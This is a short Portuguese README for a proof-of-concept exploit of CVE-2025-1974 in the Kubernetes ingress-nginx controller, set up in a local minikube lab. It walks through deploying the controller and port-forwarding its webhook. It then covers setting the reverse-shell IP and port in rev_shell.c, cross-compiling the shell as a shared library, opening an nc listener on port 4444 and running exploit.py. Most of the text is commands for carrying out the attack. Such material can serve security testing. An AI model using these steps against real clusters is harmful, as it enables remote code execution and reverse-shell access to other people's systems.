
Código PoC do CVE-2025-1974
Instale o minikube para teste local
minikube start --driver=docker
Configure o ingress-nginx-controller com o comando abaixo
kubectl apply -f ingress-nginx-controller.yml
Verifique se os Pods estão funcionando corretamente
kubectl get pods -n ingress-nginx
kubectl describe <pod name> -n ingress-nginx
Encaminhe as portas 80 e 8443 (webhook) dos Pods para as portas locais 8888 e 1337 (ambos os encaminhamentos de porta 80 e 8443 são necessários)
kubectl port-forward -n ingress-nginx <pod name> 8888:80
kubectl port-forward -n ingress-nginx <pod name> 1337:8443
Altere o IP e a Porta da conexão do reverse shell em rev_shell.c
Compile no ambiente MacOS (arm64) e ajuste para o ambiente de teste
aarch64-linux-gnu-gcc -shared -fPIC -o rev_shell.so rev_shell.c
# Instalar compilador cruzado
brew tap messense/macos-cross-toolchains
brew install aarch64-linux-gnu
Converta para o formato AdmissionReview com kube-review (json)
./kube-review-darwin-arm64 create admission_test.yml > admission_review_req_body.json
Prepare a conexão do reverse shell com nc
nc -lv 4444
Modifique o host e a porta do nginx e webhook no exploit.py e execute
python3 exploit.py
